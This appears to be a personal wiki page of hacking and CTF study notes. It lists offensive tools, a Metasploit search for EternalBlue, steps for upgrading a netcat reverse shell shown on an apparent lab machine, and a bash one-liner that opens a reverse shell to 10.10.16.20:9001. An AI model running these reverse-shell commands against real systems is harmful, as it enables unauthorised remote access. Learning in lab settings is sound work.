tools

grep "word" ./file.extension

/hping 3

wireshark

nmap

dragon os (debian based radio hacking tuned os)

shodan

metasploit

- msfconsole
  - search type:exploit platfrom:windows eternal blue
- msfvenom
- snort

aircrackng

ghidra

hackrf1 (a pyhysical tool, costs alot, but whats imortant is Deagonos is a distro focused on radio hacking)

tac = cat but backwords, like it prints the rows backwards

feroxbuster -u url.extension (basically gobuster but diff)

cybercheff -> https://gchq.github.io/CyberChef/

how to add terminal functionality to nc rev shell

```
www-data@2million:~/html$
^Z
zsh: suspended  nc -lvnp 9001



┌──(kali㉿kali)-[~]
└─$
stty raw -echo;fg

[1]  + continued  nc -lvnp 9001

www-data@2million:~/html$ whoami
www-data
www-data@2million:~/html$ ls
.env           VPN/           css/           index.php
Database.php   assets/        fonts/         js/
Router.php     controllers/   images/        views/
www-data@2million:~/html$

export TERM=xterm
```

non nc rev shell command

```
bash -c 'bash -i >& /dev/tcp/10.10.16.20/9001 0>&1'
```

https://overthewire.org/wargames/

https://ctftime.org/

https://github.com/The-Z-Labs/linux-exploit-suggester

https://www.tutorialspoint.com/What-is-the-difference-between-session-and-cookies#:~:text=Cookies%20are%20client%2Dside%20files,files%20that%20store%20user%20information.&text=Cookies%20expire%20after%20the%20user,logs%20out%20of%20the%20program.

Revision #21
Created 26 June 2024 03:48:55 by naruzkurai
Updated 2 July 2024 16:56:08 by naruzkurai